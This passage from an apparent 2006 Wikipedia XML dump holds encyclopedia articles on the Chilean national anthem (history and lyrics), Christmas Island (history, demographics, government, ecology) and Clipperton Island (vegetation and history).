      <text xml:space="preserve">The '''Himno Nacional de Chile''' is the [[National Anthem]] of [[Chile]]. It is also known as ''Canción Nacional'' (National Song). It has a history of two lyrics and two melodies that made up three different versions. It was composed by [[Eusebio Lillo]] and [[Ramón Carnicer]] and has six parts plus the chorus.

==First National Anthem==

The first Chilean National Anthem dates back to 1819, when the government called for, on the 19th of July, the creation of music and lyrics for this purpose.

The composer Manuel Robles and the poet Bernardo de Vera y Pintado fulfilled this mandate and their &quot;National Song&quot; debuted on the 20th of August, 1820 in the Domingo Arteaga theater, although other historians claim that it was played and sung during the festivities of September 1819.

In the beginning, everyone would stand for the song. O'Higgins and Freire listened to it with respect and full of emotion, for they had marched to victory to its tune more than once.

The custom of always singing it at the theater slowly disappeared, until it was ordered that it only be sung at the aniversary of the country.

The doctor Bernardo Vera, known in the history of the independence, was the author of the verses that were sung to Robles' music.

This first hymn was sung until 1828, when it was replaced with what is sung today.

==Second National Anthem==

The second Chilean National Anthem was composed by the Spanish composer Ramón Carnicer, when he was exiled in England because of his liberal ideas. Mariano Egaña, Chilean Minister in London, acting on the criticism that Robles' song was receiving, asked Carnicer to compose a new hymn with Bernardo de Vera's original text.

The Spanish musician probably wrote the work by 1827, the date he returned to Barcelona, and his hymn debuted in Santiago, in the Arteaga theater, the 23rd of December 1828.

Years later, in 1847, the Chilean government entrusted the young poet Eusebio Lillo with a new text that would replace the anti-Spain poem of Vera y Pintado, and after being analyzed by Andrés Bello, retained the original chorus (&quot;Dulce patria, recibe los votos...).

During the dictatorial military government (1973-1990) of Augusto Pinochet, the Verse III was officialy incorporated because of his praise of the militaries. Once again in democracy, it was eliminated from the anthem and only sung in military events as part of the full song. Supporters from the former military regime also sing the anthem with the Verse III in private ceremonies.

==Official version lyrics==
Below are the lyrics of the version most often played; it corresponds to Verse V of the full version and the chorus:
{|
!Spanish original
!Translation
|-
|width=50%|
Puro, Chile, es tu cielo azulado;&lt;br&gt;
Puras brisas te cruzan también.&lt;br&gt;
Y tu campo de flores bordado&lt;br&gt;
Es la copia feliz del Edén.&lt;br&gt;
Majestuosa es la blanca montaña&lt;br&gt;
Que te dio por baluarte el Señor&lt;br&gt;
Que te dio por baluarte el Señor,&lt;br&gt;
Y ese mar que tranquilo te baña&lt;br&gt;
Te promete futuro esplendor&lt;br&gt;
Y ese mar que tranquilo te baña&lt;br&gt;
Te promete futuro esplendor.&lt;br&gt;

'''Coro'''&lt;br&gt;
Dulce Patria, recibe los votos&lt;br&gt;
Con que Chile en tus aras juró:&lt;br&gt;
Que o la tumba serás de los libres&lt;br&gt;
O el asilo contra la opresión&lt;br&gt;
Que o la tumba serás de los libres&lt;br&gt;
O el asilo contra la opresión&lt;br&gt;
Que o la tumba serás de los libres&lt;br&gt;
O el asilo contra la opresión&lt;br&gt;
O el asilo contra la opresión&lt;br&gt;
O el asilo contra la opresión.
|width=50%|
Pure, Chile, is your blue sky;&lt;br&gt;
Pure breezes flow across you as well.&lt;br&gt;
And your flower-embroidered field&lt;br&gt;
Is a happy copy of Eden.&lt;br&gt;
Majestic is the snow-capped mountain&lt;br&gt;
That was given as a bastion by the Lord&lt;br&gt;
That was given as a bastion by the Lord,&lt;br&gt;
And the sea that quietly washes your shores&lt;br&gt;
Promises you future splendor&lt;br&gt;
And the sea that quietly washes your shores&lt;br&gt;
Promises you future splendor.

'''Chorus'''&lt;br&gt;
Sweet fatherland, accept the vows&lt;br&gt;
That were given by Chile at your altars:&lt;br&gt;
Either you be the tomb of the free&lt;br&gt;
Or the refuge against oppression&lt;br&gt;
Either you be the tomb of the free&lt;br&gt;
Or the refuge against oppression&lt;br&gt;
Either you be the grave of the free&lt;br&gt;
Or the refuge against oppression&lt;br&gt;
Or the refuge against oppression&lt;br&gt;
Or the refuge against oppression.
|}

==Full version lyrics==

'''I'''&lt;br&gt;
Ha cesado la lucha sangrienta;&lt;br&gt;
Ya es hermano el que ayer invasor;&lt;br&gt;
De tres siglos lavamos la afrenta&lt;br&gt;
Combatiendo en el campo de honor.&lt;br&gt;
El que ayer doblegábase esclavo&lt;br&gt;
Libre al fin y triunfante se ve;&lt;br&gt;
Libertad es la herencia del bravo,&lt;br&gt;
La Victoria se humilla a sus pies.

:'''Coro'''
:Dulce Patria, recibe los votos
:Con que Chile en tus aras juró
:Que o la tumba serás de los libres
:O el asilo contra la opresión.

'''II'''&lt;br&gt;
Alza, Chile, sin mancha la frente;&lt;br&gt;
Conquistaste tu nombre en la lid;&lt;br&gt;
Siempre noble, constante y valiente&lt;br&gt;
Te encontraron los hijos del Cid.&lt;br&gt;
Que tus libres tranquilos coronen&lt;br&gt;
A las artes, la industria y la paz,&lt;br&gt;
Y de triunfos cantares entonen&lt;br&gt;
Que amedrenten al déspota audaz.

:'''Coro'''

'''III'''&lt;br&gt;
Vuestros nombres, valientes soldados,&lt;br&gt;
Que habéis sido de Chile el sostén,&lt;br&gt;
Nuestros pechos los llevan grabados;&lt;br&gt;
Los sabrán nuestros hijos también.&lt;br&gt;
Sean ellos el grito de muerte&lt;br&gt;
Que lancemos marchando a lidiar,&lt;br&gt;
Y sonando en la boca del fuerte&lt;br&gt;
Hagan siempre al tirano temblar.

:'''Coro'''

'''IV'''&lt;br&gt;
Si pretende el cañón extranjero&lt;br&gt;
Nuestros pueblos osado invadir;&lt;br&gt;
Desnudemos al punto el acero&lt;br&gt;
Y sepamos vencer o morir.&lt;br&gt;
Con su sangre el altivo araucano&lt;br&gt;
Nos legó por herencia el valor;&lt;br&gt;
Y no tiembla la espada en la mano&lt;br&gt;
Defendiendo de Chile el honor

:'''Coro'''

'''V'''&lt;br&gt;
Puro, Chile, es tu cielo azulado,&lt;br&gt;
Puras brisas te cruzan también,&lt;br&gt;
Y tu campo de flores bordado&lt;br&gt;
Es la copia feliz del Edén.&lt;br&gt;
Majestuosa es la blanca montaña&lt;br&gt;
Que te dio por baluarte el Señor,&lt;br&gt;
Y ese mar que tranquilo te baña&lt;br&gt;
Te promete futuro esplendor.

:'''Coro'''

'''VI'''&lt;br&gt;
Esas galas, ¡oh, Patria!, esas flores&lt;br&gt;
Que tapizan tu suelo feraz,&lt;br&gt;
No las pisen jamás invasores;&lt;br&gt;
Con tu sombra las cubra la paz.&lt;br&gt;
Nuestros pechos serán tu baluarte,&lt;br&gt;
Con tu nombre sabremos vencer,&lt;br&gt;
O tu noble, glorioso estandarte,&lt;br&gt;
Nos verá combatiendo caer.

:'''Coro'''

==External links==

*[http://www.presidencia.cl/view/descargaAudio.asp?file=Himno-Nacional-audio.mp3 Sang anthem at Chile's Presidency site] ([[Mp3]], 2.0 MB)
*[http://www.navyband.navy.mil/anthems/ANTHEMS/chile.mp3 Chilean anthem by the US Navy Band] (Mp3, 1.9 MB)

[[Category:Chilean culture]]
[[Category:National anthems]]

[[ca:Himne nacional de Xile]]
[[de:Nationalhymne Chiles]]
[[es:Himno Nacional de Chile]]
[[fr:Hymne national du Chili]]
[[it:Inno Nazionale del Cile]]
[[hu:Chilei himnusz]]
[[nl:Himno Nacional]]
[[ja:チリの国歌]]
[[no:Himno Nacional de Chile]]
[[pt:Hino nacional do Chile]]
[[sr:Химна Чилеа]]
[[sv:Himno Nacional]]</text>
    </revision>
  </page>
  <page>
    <title>Christmas Island</title>
    <id>5500</id>
    <revision>
      <id>41898527</id>
      <timestamp>2006-03-02T13:35:40Z</timestamp>
      <contributor>
        <username>MJCdetroit</username>
        <id>627347</id>
      </contributor>
      <comment>English &amp; Metric measurements per [[WP:MOSNUM]] and formating</comment>
      <text xml:space="preserve">:''For the [[Pacific Ocean]] island, see [[Kiritimati]]''

[[Image:ChristmasIslandMap.png|thumb|right|300px|Map of Christmas Island]]
[[Image:Poonsaan1.jpg|thumb|right|300px|Poon Saan in the evening]]
[[Image:Poonsaan2.jpg|thumb|right|300px|Poon Saan shops]]
The '''Territory of Christmas Island''' is a small, non self-governing [[Territory]] of [[Australia]] located in the [[Indian Ocean]], 1,466 miles (2,360 [[kilometres|km]]) northwest of [[Perth, Western Australia|Perth]] in [[Western Australia]] and 310 miles (500 km) south of [[Jakarta]], [[Indonesia]]. It maintains about 1,500 residents who live in a number of towns on the northern tip of the island: Settlement, Silver City, Kampong, Poon Saan, and Drumsite.  It has a unique natural topography and is of immense interest to scientists and naturalists due to the number of species of endemic flora and fauna which have evolved in isolation and undisturbed by human habitation.  While there has been mining activity on the island for many years, 65 per cent of its 135 square kilometres (52.1&amp;nbsp;sq.&amp;nbsp;mi) are now National Park and there are large areas of pristine and ancient [[rainforest]]. 

==History==
For centuries, Christmas Island's  isolation and rugged coasts provided natural barriers to settlement. British and Dutch navigators first included the island on their charts from the early seventeenth century, and Captain William Mynors of the East India Ship Company vessel, the ''Royal Mary'', named the island when he arrived on Christmas Day, 25th December, 1643. The island first appears on a map produced by [[Pieter Goos]] and published in [[1666]]. Goos had labelled the island ''Moni''.

The earliest recorded visit was in March of [[1688]] by [[William Dampier]] of the British ship ''Cygnet'', who found it uninhabited. An account of the visit can be found in Dampier's ''Voyages'', which describes how, when trying to reach [[Cocos]] from [[New Holland (Australia)|New Holland]], his ship was pulled off course in an easterly direction and after 28 days arrived at Christmas Island. Dampier landed at the Dales (on the West Coast) and two of his crewmen were the first recorded people to set foot on Christmas Island.

The next visit was by [[Daniel Beekman]], who described it in his [[1718]] book, ''A Voyage to and from the Island of Borneo, in the East Indies''.

In [[1771]] the [[India]]n vessel, the ''Pigot'', attempted to find an anchorage but was unsuccessful; the crew reported seeing wild pigs and coconut palms. However, pigs have never been introduced to the island, so the ''Pigot'' may have found a different island.

The first attempt at exploring the island was in [[1857]] by the crew of the ''Amethyst''. They tried to reach the summit of the island, but found the cliffs impassable.

During the [[Challenger expedition|1872-76 ''Challenger'' expedition]] to Indonesia, naturalist Dr John Murray carried out extensive surveys. At his urging, the British Admiralty annexed the 135 square kilometre island on 6 June 1888. But it was not until 1888 that Christmas Island was settled, when the Clunies-Ross brothers from neighbouring Cocos-Keeling Islands (some 900 kilometres to the south west) established a settlement at [[Flying Fish Cove]] to collect timber and supplies for the growing industry on Cocos.

In [[1887]], Captain Maclear of [[HMS Flying Fish|HMS ''Flying Fish'']], having discovered an anchorage in a bay that he named Flying Fish Cove, landed a party and made a small but interesting collection of the flora and fauna. In the next year, Pelham Aldrich, on board [[HMS Egeria|HMS ''Egeria'']], visited it for ten days, accompanied by J. J. Lister, who gathered a larger biological and mineralogical collection. 

Among the rocks then obtained and submitted to Sir [[John Murray (oceanographer)|John Murray]] for examination were many of nearly pure phosphate of lime, a discovery which led to annexation of the island by the British Crown in [[June]] [[1888]]. Soon afterwards, a small settlement was established in Flying Fish Cove by G. Clunies Ross, the owner of the [[Cocos Islands|Keeling Islands]], and phosphate mining began in the [[1890s]] using [[Indentured_servant|indentured]] workers from [[Singapore]], [[China]], and [[Malaysia]].

The island was administered jointly by the British Phosphate Commissioners and District Officers from the U.K. Colonial Office through the Straits Colony, and later the Colony of Singapore.  [[Japan]] [[Battle of Christmas Island|invaded and occupied]] the island in [[1942]], as the [[India]]n garrison mutinied, and interned the residents until the end of [[World War II]] in [[1945]]. At Australia's request, the United Kingdom transferred sovereignty to Australia; in 1957, the Australian government paid the [[government of Singapore]] 2.9 million pounds in compensation, a figure based mainly on an estimated value of the phosphate foregone by Singapore. The first Australian Official Representative arrived in 1958 and was replaced by an Administrator in 1968. Christmas Island and the [[Cocos (Keeling) Islands]] together are called Australia's [[Indian Ocean Territories]] (IOTs) and since 1997 share a single Administrator resident on Christmas Island.

Since the late 1980s or early 1990s Christmas Island periodically received boatloads of refugees, mostly from [[Indonesia]]. These, and the occasional illegal fishing boat, were never a large issue, often welcomed by locals who looked forward to the exploding of the boats once the &quot;boat people&quot;had been processed. During [[2001]], Christmas Island received a large number of [[asylum seekers]] travelling by boat, most of them from the [[Middle East]] and intending to apply for asylum in Australia. The arrival of the Norwegian cargo vessel [[MV Tampa|MV ''Tampa'']], which had rescued people from the sinking Indonesian fishing-boat ''Palapa'' in international waters nearby, precipitated a diplomatic standoff between Australia, [[Norway]], and [[Indonesia]]. The vessel held 420 asylum seekers from [[Afghanistan]], 13 from [[Sri Lanka]], and five from Indonesia. The standoff eventually led to the asylum seekers being transported to [[Nauru]] for processing. Another boatload of asylum seekers was taken from Christmas Island to [[Papua New Guinea]] for processing, after it was claimed that many of the adult asylum seekers [[Children overboard affair|threw their children into the water]], apparently in protest at being turned away. This was later proven to be false.

[[John Howard]], the Australian Prime Minister, later passed legislation through the Australian Parliament which excised Christmas Island from [[Australian migration zone|Australia's migration zone]], meaning that [[asylum seekers]] arriving there could not automatically apply for refugee status, allowing the Australian navy to relocate them to other countries as part of the [[Pacific Solution]]. As of 2005, the Department of Immigration has begun construction of an &quot;Immigration Reception and Processing Centre&quot;, due for completion in late 2006. The facility is estimated to cost $210 million, and will contain 800 beds.

==People==
As of [[As of 2005|July 2005]], there are approximately 1600 Christmas Islanders. (The Australian Bureau of Statistics reports a population of 1508 as of the 2001 Census.) 
The ethnic composition is 70% [[Overseas Chinese|Chinese]], 20% [[Europe]]an and 10% [[Malay people|Malay]]. Religions practiced are [[Buddhism]] 36%, [[Islam]] 25%, [[Christianity]] 18%, [[Taoism]] 15% other 6%. [[English language|English]] is the official language, but [[Chinese language|Chinese]] and [[Malay language|Malay]] are also spoken.

Please note that the [[The World Factbook|CIA's World Factbook]] has been reporting the population as 361 for some years.

==Government==
[[Image:Flag of Christmas Island.svg|thumb|Flag of Christmas Island&lt;br /&gt;(unofficially since 1986, officially since 2003)]]
Christmas Island is a non-self governing territory of Australia, administered by the [[Australian Department of Transport and Regional Services]]. The legal system is under the authority of the Governor General of Australia and Australian law. An Administrator ([[Neil Lucas]], since [[28 January ]] [[2006]]) appointed by the [[Governor-General of Australia]] represents the [[Queen of Australia|monarch]] and Australia.  See list of previous office holders [http://www.worldstatesmen.org/Christmas_Island.html]

The Australian Government provides '''Commonwealth-level government services''' through the Christmas Island Administration and DOTARS (CI).  

There is '''no State Government'''; instead, state government type services are provided by contractors, including departments of the Western Australian Government, with the costs met by the Australian (Commonwealth) Government. 

A unicameral Christmas Island Shire Council with 9 seats provides '''local government services''' and is elected by popular vote to serve four-year terms. Elections are held every two years, with half the members standing for election.

The [[flag of Australia]] is used. In early 1986, the Christmas Island Assembly held a design competition for an island flag; the winning design was adopted as the informal flag of the territory for over a decade, and in 2003 it was made official.

==Economy==
Phosphate mining had been the only significant economic activity, but in December 1987 the [[Australian]] Government closed the mine. In 1991, the mine was reopened by a consortium which included many of the former mine workers as shareholders. With the support of the government, a $34 million [[casino]] opened in 1993. The casino closed in 1998 and has not re-opened. The Australian Government in 2001 agreed to support the creation of a commercial [[spaceport]] on the island, however this has not yet been constructed, and appears that it will not proceed in the future.  The Australian Government built a temporary immigration detention centre on the island in 2001 and plans to replace it with a larger, modern facility, in 2006. 

Christmas Island has the top-level [[Internet]] [[Domain Name System|DNS]] domain &quot;[[.cx]]&quot;.

==Geography==
Located at {{coor dm|10|30|S|105|40|E|}}, the island is a quadrilateral with hollowed sides, about 12 miles (19&amp;nbsp;[[kilometres|km]]) in greatest length and 9 miles (14.5&amp;nbsp;km) in extreme breadth. The total land area is 52.1 [[square mile]]s (135 km&amp;sup2;), with 86.3 miles (138.9 km) of coastline. The island is the flat summit of a submarine mountain more than 15,000 [[foot (unit of length)|feet]] (4,572&amp;nbsp;[[metre|m]]) high, the depth of the platform from which it rises being about 14,000 feet (4267 m) and its height above the sea being upwards of 1,000 feet (305&amp;nbsp;m).

The climate is [[tropical]], with heat and humidity moderated by trade winds. Steep cliffs along much of the coast rise abruptly to a central plateau. Elevation ranges from sea level to 1,184&amp;nbsp;feet (361&amp;nbsp;m) at Murray Hill. The island is mainly tropical [[rainforest]], of which 65% is National Park.

The narrow fringing [[reef]] surrounding the island can be a maritime hazard.

==Flora and fauna==
Christmas Island is of immense scientific value as it was uninhabited until the late [[19th century]], so many unique species of fauna and flora exist which have evolved independently of human interference. Among the best-known is the [[Christmas Island red crab]], which numbered some 100 million on the island as of 2004.  Two-thirds of the island has been declared a [[National Park]] which is managed by the [[Australian Department of Environment and Heritage]] through [[Parks Australia]].

The dense [[rainforest]] has evolved in the deep soils of the [[plateau]] and on the terraces. The forests are dominated by 25 tree species. [[Fern]]s, [[orchid]]s &amp; [[vine]]s grow on the branches in the humid atmosphere beneath the [[canopy (forest)|canopy]]. The 135 plant species include 16 which are only found on Christmas Island. 

[[Image:Redcrab.JPG|thumb|right|300px|Red Crab]]
The annual [[Christmas Island red crab|red crab]] mass migration (around 100 million animals) to the sea to spawn is one of the wonders of the natural world and takes place each year around [[November]]; after the start of the [[wet season]] and in synchronisation with the cycle of the [[moon]]. 

The land crabs and sea birds are the most noticeable animals on the island. 20 terrestrial and intertidal crabs (of which 13 are regarded as true land crabs, only dependent on the ocean for larval development) have been described. Robber crabs, known elsewhere as [[coconut crab]]s, also exist in large numbers on the island.

Christmas Island is a focal point for sea birds of various species. Eight species or [[subspecies]] of sea birds nest on the island. The most numerous is the [[Red-footed Booby]] that nests in colonies, in trees, on many parts of the shore terrace. The widespread [[Brown Booby]] nests on the ground near the edge of the seacliff and inland cliffs. [[Abbott's Booby]] (listed as [[endangered]]) nests on tall emergent trees of the western, northern and southern plateau rainforest. The Christmas Island forest is the only nesting habitat of the Abbott's Booby left in the world. The [[endemic (ecology)|endemic]] [[Christmas Island Frigatebird]] (listed as endangered) has nesting areas on the north-eastern shore terraces and the more widespread. [[Greater Frigatebirds]] nest in semi-deciduous trees on the shore terrace with the greatest concentrations being in the North West and South Point areas. The [[Common Noddy]] and two species of bosuns or [[tropicbird]]s with their brilliant gold or silver plumage and distinctive streamer tail feathers also nest on the island. Of the ten native land birds and shorebirds, seven are endemic species or subspecies. Some 76 migrant bird species have been recorded.

==Communications and transportation==
Telephone services are provided by [[Telstra]] and are a part of the Australian network with the same prefix as Western Australia (08). A [[GSM]] mobile telephone system replaced the old analogue network in [[February 2005]]. Four free-to-air television stations from Australia are broadcast (ABC, SBS, GWN and WIN) in the same time-zone as Perth. Radio broadcasts from Australia include ABC Radio National, ABC Regional radio and Red FM. All services are provided by satellite links from the mainland. Broadband internet became available to subscribers in urban areas in mid 2005 through the local internet service provider, CIIA (formerly dotCX). 

A container port exists at Flying Fish Cove with an alternative container unloading point to the south of the island at Norris Point for use during the December to March 'swell season&quot; of seasonal rough seas. There are two weekly flights from Perth, Western Australia operated by National Jet Systems on Mondays and Thursdays and a single weekly flight from Denpasar, Bali, operated each Saturday by Austasia airlines.

A bus service on the island runs frequently from Flying Fish Cove to the new recreation centre at Phosphate Hill.  There is also a taxi service. The road network covers most of the island and is generally good quality, although four wheel drive vehicles are needed to access some more distant parts of the rain forest or the more isolated beaches.

==Bibliography==
*CIA World Factbook 2002
*Charles. W. Andrews, A Description of Christmas Island (Indian Ocean). ''Geographical Journal'', '''13(1)''', 17-35 (1899).
*Charles W. Andrews, A Monograph of Christmas Island, London,1900.
*National Library of Australia, The Indian Ocean: a select bibliography.. 1979 ISBN 0642991502
*W. J. L. Wharton, Account of Christmas Island, Indian Ocean. ''Proceedings of the Royal Geographical Society and Monthly Record of Geography'', '''10(10)''', 613-624 (1888).

==External links==
* [http://scaleplus.law.gov.au/html/pasteact/0/288/top.htm Christmas Island Act 1958]
* {{dmoz|Regional/Oceania/Christmas_Island/|Christmas Island}}
* The CIA World Factbook -- [http://www.cia.gov/cia/publications/factbook/geos/kt.html Christmas Island]

==Notes==
&amp;sup1; CIA Factbook: est. 2004 396 + note: &quot; The Australian Bureau of Statistics reports a population of 1508 as of the 2001 Census&quot; [http://www.cia.gov/cia/publications/factbook/geos/kt.html#People]

{{Australia}}

[[Category:British rule in Singapore]]
[[Category:Christmas Island| ]]
[[Category:Islands of Australia]]
[[Category:Indian Ocean]]

[[ca:Illa Christmas]]
[[cs:Vánoční ostrov]]
[[da:Christmas Island (Indiske Ocean)]]
[[de:Weihnachtsinsel]]
[[et:Jõulusaar]]
[[es:Isla de Navidad]]
[[eo:Kristnaskinsulo]]
[[fr:Île Christmas (Australie)]]
[[ko:크리스마스 섬]]
[[is:Jólaeyja]]
[[it:Isola di Natale]]
[[he:כריסטמס (אי)]]
[[lt:Kalėdų sala]]
[[hu:Karácsony-sziget]]
[[nl:Christmaseiland]]
[[ja:クリスマス島 (オーストラリア)]]
[[pl:Wyspa Bożego Narodzenia]]
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[[zh:聖誕島]]</text>
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    <title>Demographics of Christmas Island</title>
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    <title>Clipperton Island</title>
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'''Clipperton Island''' ([[French language|French]]: ''Île de Clipperton'' and sometimes ''Île de la Passion'') is an uninhabited [[1 E6 m²|seven-square-kilometer]] coral [[atoll]] in the North [[Pacific Ocean]], 1,300 km southwest of [[Mexico]], at {{coor dm |10|18|N|109|13|W|}}.

It is an overseas possession of [[France]] administered from [[French Polynesia]] by its gubernatorial [[high commissioner]] of the Republic. Its [[List of FIPS country codes|FIPS 10-4]] data code is IP, but [[ISO 3166-1 alpha-2|ISO 3166]] has reserved the code CP for Clipperton Island on request of the [[International Telecommunication Union|ITU]].
[[Image:Ip-map.png|thumb|left|Map of Clipperton Island]]

Although 115 species of fish have been identified in the territorial waters of Clipperton Island, the only economic activity is [[tuna]] fishing. It has no other natural resources.

It lies about 965 km from [[Tejupan Point]] on [[Mancanilla Bay]], [[Mexico]], the nearest mainland.  The ring-shaped island has completely enclosed its [[lagoon]] for approximately a century and is about 8 km (5 miles) in circumference. The lagoon has acidic water at the bottom and is stagnant. Clipperton Rock, at 21 m (69 ft), is the highest point. 

The island has a tropical oceanic climate, with average temperatures of 20&amp;ndash;32°C. The rainy season occurs in May&amp;ndash;October, and the island is subject to tropical storms. Surrounding ocean waters are warm with a westerly current, which flows directly from the mainland.

==Vegetation==

Clipperton Island is now largely covered with [[scrub]] vegetation, with a few stands of [[coconut palm]]s.

The scrub vegetation seems to have disappeared for some time between [[1858]] and [[1917]].  When Snodgrass and Heller visited the island in 1898, they reported that &quot;no land plant is native to the island.&quot; (Snodgrass and Heller 1902). Sachet (1962), however, points out that according to historical accounts from the island in [[1711]], [[1825]], and likely in [[1839]], the island had a low grassy and/or suffrutescent (partially woody) vegetation. It is hypothesized that the vegetation may have been destroyed by a [[tropical storm]], and was then unable to regenerate due to the large population of land [[crab]]s. There also is a [[August 24]], [[1909]] article from the [[San Francisco Chronicle]] speculating on the possibility that a group on Clipperton Island was washed over by a [[tsunami]] caused by an earthquake. 

After the introduction of [[pig]]s by [[guano]] miners, the [[flora]] was able to re-establish itself as the [[pigs]] helped to keep the land crabs in check (Sachet 1962). During the period of settlement, the island's flora was multiplied by the introduction of alien species; [[coconut]] palms (Cocos nucifera) were introduced in the 1890s.

According to Sachet's visit in [[1958]], the vegetation is a sparse cover of spiny grass and low thickets, a creeping plant ([[Ipomoea]]), and stands of coconut palm. This low-lying herbaceous vegetation appears to be pioneer in nature, and the majority is believed to be composed of recently introduced species. Sachet suspected that the sedges, ''[[Heliotropium curassavicum]]'', and possibly ''[[Portulaca oleracea]]'' are native in origin (Sachet 1962). At the northwest side of the island, at least, the most abundant species are ''[[Cenchrus echinatus]]'', ''[[Sida rhombifolia]]'', and ''[[Corchorus aestuans]]''. These plants compose a shrub cover up to 30 cm in height, and are intermixed with [[Eclipta]], [[Phyllanthus]], and [[Solanum]], as well as a taller plant, ''[[Brassica juncea]]''. An interesting feature was observed in that the vegetation is arranged in parallel rows of species; dense rows of taller species alternate with lower, more open vegetation. This was assumed to be a result of the phosphate mining method of digging trenches.

[[Image:Clippertonisland.jpg|thumb|300px|right|Coconut palms on Clipperton Island]]
[[Image:Clipperton_island_1957.jpg|thumb|300px|right|Map of Clipperton Island]]

==History==
Clipperton Island was originally discovered by [[Ferdinand Magellan]] in [[1521]], but was later named after [[John Clipperton]], an [[England|English]] [[pirate]] and [[privateer]] who fought the [[Spain|Spanish]] during the early eighteenth century and who used the island as hidden base for his raids on shipping.  

In 1708, two French ships, 'La Princesse' and 'La Découverte', reached the island, named it 'Île de la Passion', and annexed it for the crown to France. The first scientific expedition took place in 1725 by the Frenchman M. Bocage, who lived on the island for several months.

In April 1831, [[John Fitzgerald (sailor)|John Fitzgerald]] on his way to [[San Blas]] from [[Callao]] discovered an island at {{coor dm|18|30|N|114|33|W|}} not shown on any chart.

The [[American Guano Mining Company]], under the [[Guano Islands Act]] of [[1856]], claimed the island for the [[United States|United States of America]], with earlier claim disputes to island guano by the [[Oceanic Phosphate Company]] with Mexico in 1848-49.  
On [[17 November]] [[1858]], under Emperor [[Napoleon III]] Bonaparte, the French annexed Clipperton as part of their South Sea colony [[Tahiti]]. [[Mexico]] reasserted its claim over the island in 1897 and established a military outpost on the island. The US again held it briefly during the [[Spanish American War]] of 1898.

In [[1906]], the [[United Kingdom|British]] [[Pacific Island Company]] acquired the rights to Clipperton's guano deposits and, in conjunction with the Mexican government, built a mining settlement. That same year, a lighthouse was erected under the orders of [[List of Presidents of Mexico|President]] [[Porfirio Díaz]], and a military garrison under Captain Ramón Arnaud of the Mexican army was sent to the island. By 1914, about 100 people &amp;ndash;  men, women, and children &amp;ndash; were living on the island. Every two months, a ship from [[Acapulco]] sailed to the island with provisions. However, with the escalation of fighting in the [[Mexican Revolution]], the atoll was no longer reachable by ship, and the island's inhabitants were left to their own devices. 

By [[1915]], most of the inhabitants had died, and the last settlers wanted to leave on the [[United States Navy|US Navy]] warship 'Lexington' which had reached the atoll in late 1915.  However, the Mexican military governor declared that evacuation was not necessary.  

By [[1917]], most of the men had died, some in a failed attempt to sail to the mainland and fetch help. The lighthouse keeper, Victoriano Álvarez, found himself the last man on the island, along with 15 women and children. Álvarez promptly proclaimed himself King and began a rampage of rape and murder, before being killed by one of the recipients of his attentions. On [[18 July]] [[1917]], almost immediately following Álvarez's death, four women and six children, the last survivors, were picked up by the US Navy gunship ''[[USS Yorktown]]''. 

Ownership of Clipperton was then disputed between [[France]] and [[Mexico]].  France approached the [[Holy See|Vatican]] for a decision on ownership and, in [[1930]], the Vatican assigned the task to the King of Italy, [[Victor Emmanuel III of Italy|Victor Emmanuel]], who declared one year later that Clipperton was a French possession. The French rebuilt the [[lighthouse]] and settled a military outpost on the island, which remained for seven years before being abandoned. In 1935 France takes possession; it has since been administered by the French colonial High Commissioner for French Polynesia. 

In the late 1930s, Clipperton was visited twice by President [[Franklin D. Roosevelt]] who wanted it to become a US possession for use as an airbase for [[Pacific Ocean]] operations and, in [[1944]], he ordered the navy to occupy the island in one of the most secret US operations of [[World War II]]. [[Richard E. Byrd|Rear Admiral Byrd]] undertook several expeditions to the island to assess its potential as an airbase. 

In [[1962]], the independence of Algeria threatened further French nuclear testing at [[Algeria]]n sites. The French Ministry of Defence considered Clipperton as a possible replacement test site; however, due to the island's hostile climate and remote location, this was eventually ruled out.

During the 1970s the French explored reopening the lagoon and developing a harbour for trade and tourism. In [[1981]], the Academy of Sciences for Overseas Territories recommended that the island should have its own economic infrastructure, with an airstrip and a fishing port in the [[lagoon]]. This meant opening up the lagoon by creating a passage in the atoll rim. For this purpose, an agreement whereby the island became State property was signed with the French State, represented by the High Commissioner for French Polynesia. On [[October 13]] [[1986]], a meeting took place regarding the establishment of a permanent base for fishing on or near Clipperton, between the High-Commissioner for the Republic in [[French Polynesia]], representing the State, and the Survey firm for the development and exploitation of the small island Clipperton (SEDEIC). Taking into account the economic constraints, the distance and the small size of the atoll, no plan, apart from studies, was undertaken to carry out this project. In conclusion, plans for development of Clipperton were abandoned.

[[Image:Clipperton Island.png|thumb|300px|Clipperton Island - NASA NLT Landsat 7 (Visible Color) Satellite Image]]

The island has been abandoned since [[World War II|WW II]]; since then it has only been visited by sport fishermen, regularly scheduled patrols by the French Navy, and Mexican [[tuna]] and [[shark]] fishermen.  There have been infrequent scientific and [[amateur radio]] expeditions, and, on one occasion, [[Jacques-Yves Cousteau]] visited with his team of divers and a survivor from the [[1917]] evacuation. In 2003 [[Lance Milbrand]] stayed on the island for 41 days on  a [[National Geographic Society]] expedition, recording his adventure in video, photos, and a written diary.

In [[2005]], Clipperton's [[ecosystem]] was extensively studied for four months by a scientific mission organised by [[Jean-Louis Étienne]], which was to make a complete inventory of mineral, plant and animal species found on the atoll, study algae as deep as 100m beneath sea level, study pollution, etc.

Clipperton is often used by the [[France|French]] as a self-deprecating ironic reference to the importance of the French oversea possessions.

See also: [[Islands controlled by France in the Indian and Pacific oceans]]

==Sources and External links==
* {{fr icon}} [http://www.outre-mer.gouv.fr/outremer/front?id=outremer/decouvrir_outre_mer/clipperton_1049905838308 Official site]
* {{fr icon}} [http://www.clipperton.fr Unofficial site]
* {{fr icon}} [http://www.jeanlouisetienne.com/clipperton/default.cfm Site of Jean-Louis Étienne's expedition]
*[http://www.infoplease.com/spot/desertisland3.html Clipperton Island at Infoplease]
*[http://www.worldstatesmen.org/Fr_minor.html WorldStatesmen- France- Minor possessions]
==References==
*Edwin D. Dickinson, ''The Clipperton Island Case''. American Journal of International Law, Vol. 27, No. 1., pp. 130-133.
*Allen, G. R. and D. R. Robertson. 1996. ''An annotated checklist of the fishes of Clipperton Atoll, tropical eastern Pacific''. Retrieved (2001) from: &lt;http://www.ots.ac.cr/rbt/revistas/45-2/allen.htm&gt;. 
*IFRECOR. 1998. Clipperton. Retrieved (2001) from: &lt;http://www.reefbase.org/Summaries/pdf/Clipperton1998.pdf&gt;. 
*Pitman, R. L. and Jehl, J. R. 1998. ''Geographic variation and reassessment of species limits in the &quot;masked&quot; boobies of the eastern Pacific Ocean''. Wilson Bulletin 110:155-170.
*Sachet, M. H. 1962. ''Flora and vegetation of Clipperton Island''. Proceedings of the California Academy of Sciences. 4th ser., v.31, no.10. The Academy, San Francisco.
